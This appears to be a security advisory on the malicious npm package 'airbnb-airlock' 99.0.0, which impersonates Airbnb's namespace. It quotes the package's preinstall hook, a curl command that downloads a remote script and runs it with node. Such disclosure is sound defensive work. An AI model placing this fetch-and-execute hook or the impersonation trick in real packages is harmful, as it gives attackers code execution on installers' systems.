Malicious code in airbnb-airlock (npm)

The 'airbnb-airlock' npm package (version 99.0.0) includes a preinstall lifecycle hook that runs the command `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`. This command fetches a JavaScript file from a remote, attacker-controlled domain and executes it immediately during installation. The fetched script is mutable and not verified by any hash or signature, allowing the attacker to run arbitrary code on the installer's system. The package contains no legitimate functionality and uses the 'airbnb-' prefix to impersonate Airbnb's open-source namespace, likely to trick users searching for Airbnb-related tooling.

Installing this package results in arbitrary code execution on the system running npm install, as the preinstall script downloads and runs attacker-controlled code without verification. This can lead to compromise of the host environment, data theft, or further malicious activity. The impersonation of a trusted namespace increases the risk of accidental installation by users expecting legitimate Airbnb packages.

Do not install the 'airbnb-airlock' package version 99.0.0. Since this is a malicious package impersonating a trusted namespace, users should verify package authenticity before installation and avoid packages with suspicious names or unverified sources. There is no official fix or patch since the package itself is malicious and should be removed from any dependency lists. Use trusted package sources and consider using tools that detect malicious packages during dependency audits.